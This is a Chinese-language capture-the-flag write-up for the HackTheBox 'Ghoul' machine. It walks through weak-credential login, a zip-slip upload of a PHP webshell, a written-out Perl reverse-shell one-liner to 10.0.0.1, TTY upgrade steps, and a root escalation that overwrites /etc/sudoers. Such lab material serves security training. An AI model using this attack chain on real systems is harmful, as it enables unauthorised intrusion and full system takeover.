CTF挑战靶机是来自hackthebox的“Ghoul”,hackthebox是一个非常不错的在线实验平台。
Masscan扫描出目标存在22,80,8080,2222端口
用nmap -a参数扫出更详细的系统信息
8080web端口需要身份认证才能登录,弱口令admin:admin拿下
发现8080存在文件上传,分别是image上传和zip上传
图片上传穿不了马,发现zip可以上传带php脚本内容的文件
网上查出zip-slip,当application中存在压缩包解压代码且没有验证文件的情况下,会构成zip-slip漏洞
相关链接:https://xz.aliyun.com/t/2382
利用evilarc工具构造phpwebshell的恶意压缩包
工具路径:https://github.com/ptoomey3/evilarc
连上webshell
我们开启nc监听,用perl反连
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}
连上webshell后我们尝试将shell升级为完全交互式的TTY
准备工作:需要在自己的终端上面检查STTY和TERM的信息
用stty -a检查当前STTY信息
用echo $TERM检查当前终端
所需要TERM类型(“xterm-256color”)和当前TTY大小(24行;80列)
Step1:
查看存不存在python环境(不存在python环境的情况不在这讨论,详细看下方连接)
Step2:
存在python环境的情况下就利用python的pty模块创建一个伪终端,命令如下:# python -c ’import pty;pty.spawn(“/bin/bash”)’
Step3:Ctrl-z将终端放入后台,将当前STTY设置为raw,输入如下命令:
# stty raw -echo
Raw设置打开后,你可能会看不见下一条的输入,但是命令仍会执行,输入命令:
# fg
将shell从后台中提出来,并重置它,输入如下命令进行重置:
# reset
Step4:我看会看到shell被提取到了前台,接下来我们输入以下三条指令去匹配我们当前的终端窗口(根据上面收集的信息)
# export SHELL=bash
# export TERM=xterm-256color
# stty rows 24 columns 80
最终哦我们得到一个用nc shell升级的TTY,它具有命令补全,历史查看等功能
具体来源如下:
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
用mount可以查看到web是跑在docker里面的,我们可以将在sudoers文件里面写入命令,将www-data提升为root权限,写入的内容如下:www-data ALL=(ALL) NOPASSWD:ALL
利用zip-slip将sudoers写入到/etc/sudoers
无需密码获取root权限,cat flag